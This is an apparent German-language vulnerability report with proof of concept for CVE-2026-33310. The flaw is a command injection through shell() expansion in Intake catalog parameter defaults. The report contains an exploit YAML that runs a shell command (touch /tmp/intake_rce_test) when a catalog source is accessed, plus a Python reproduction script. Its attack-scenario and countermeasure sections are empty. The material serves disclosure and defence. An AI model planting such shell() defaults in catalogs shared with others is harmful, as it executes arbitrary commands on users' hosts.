
Proof-of-Concept, das eine Befehlsinjektion über die `shell()`-Erweiterung in Parameter-Standardwerten von Intake-Katalogen demonstriert, inklusive Exploit-YAML und Reproduktionsskript.
CVE-2026-33310 (Befehlsinjektion durch shell()-Erweiterung in Parameter-Standardwerten)
Die shell()-Syntax innerhalb von Parameter-Standardwerten scheint während des Katalog-Parsing-Prozesses automatisch erweitert zu werden. Wenn ein Katalog einen Parameter-Standardwert wie shell() enthält, könnte der Befehl ausgeführt werden, wenn auf die Katalogquelle zugegriffen wird. Das bedeutet, dass bei Laden eines bösartigen Katalog-YAML eingebettete Befehle auf dem Host-System ausgeführt werden könnten. Dieses Verhalten könnte potenziell als CWE-78: OS-Befehlsinjektion / Unsichere Shell-Erweiterung eingestuft werden.
Das Problem scheint daraus zu entstehen, wie Parameter-Standardwerte erweitert werden, wenn auf eine Katalogquelle zugegriffen wird.
Während des Katalogladens und des Quellzugriffs:
Intake löst Parameter-Standardwerte auf Die Funktion, die für die Erweiterung von Standardwerten verantwortlich ist, verarbeitet die shell()-Syntax Der Shell-Ausdruck löst eine Subprozess-Ausführung aus Da dies während der Katalogauswertung geschieht, könnte der Befehl ausgeführt werden, bevor der Benutzer explizit mit dem Datensatz selbst interagiert.
Die betroffene Logik scheint Folgendes zu betreffen:
expand_defaults()
und zugehörige Parameter-Parsing-Mechanismen.
exploit.yaml
metadata:
version: 1
sources:
rce_test:
driver: csv
description: "Testing shell expansion in parameters"
args:
urlpath: "{{ cmd_exec }}"
parameters:
cmd_exec:
display_name: "Test Parameter"
type: str
default: "shell(touch /tmp/intake_rce_test)"
reproduce.py
import intake
import os
PROOF_FILE = "/tmp/intake_rce_test"
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}")
try:
cat = intake.open_catalog("exploit.yaml")
print("Accessing source...")
_ = cat["rce_test"]
except Exception as e:
print(f" Error during execution: {e}")
if os.path.exists(PROOF_FILE):
print(f" Command execution confirmed, Found: {PROOF_FILE}")
else:
print("Command execution did not occur.")
Ein mögliches Angriffsszenario könnte sein:
Wenn dieses Verhalten als unbeabsichtigt bestätigt wird, könnte ein Angreifer eine bösartige Katalogdatei über Folgendes verbreiten:
Mögliche Gegenmaßnahmen könnten sein: